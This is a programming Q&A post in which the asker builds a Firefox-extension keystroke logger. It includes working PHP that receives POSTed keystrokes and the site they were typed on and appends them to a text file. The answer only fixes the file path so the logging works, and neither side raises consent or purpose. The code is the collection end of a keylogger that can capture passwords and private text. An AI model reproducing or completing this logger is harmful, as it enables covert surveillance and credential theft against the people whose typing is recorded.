php - A way to change the ownership of Apache to order creating txt file

Could you please tell me how to change Apache ownership in Windows if you guys know, since I cannot create txt files using PHP without permission. According to my issue, I need to be able to authorise a file to be made.

What I am trying to do is create a script that records keystrokes in the Firefox extension section. This script will send the data to an Apache PHP file and store it in a text file. I would appreciate your response if you could.

<?php
session_start();
if (!isset($_POST['key'])) {
    echo ("Didn't received any new KEY strokes Yet!");
    exit(0);
}
//read and write = a+, If the file does not exist, attempt to create it
$file_log = fopen("key.txt","a+");

if (!isset($_SESSION['site']) || $_SESSION['site'] != $_POST['site']) {
    $_SESSION['site'] = $_POST['site'];
    fwrite($file_log, "| site : ".$_POST['site']." | ");


}


fwrite($file_log,$_POST['key']);
fclose($file_log);
echo("text saved successfully");

Answer

Solution:

It looks like you are not defining a full path for the file.

Depending on where php is running just calling fopen("key.txt","a+") might default to the root directory.

When creating/modifying files you should specify the full path to the file

fopen("/var/www/mydir/example/path/key.txt","a+")

Source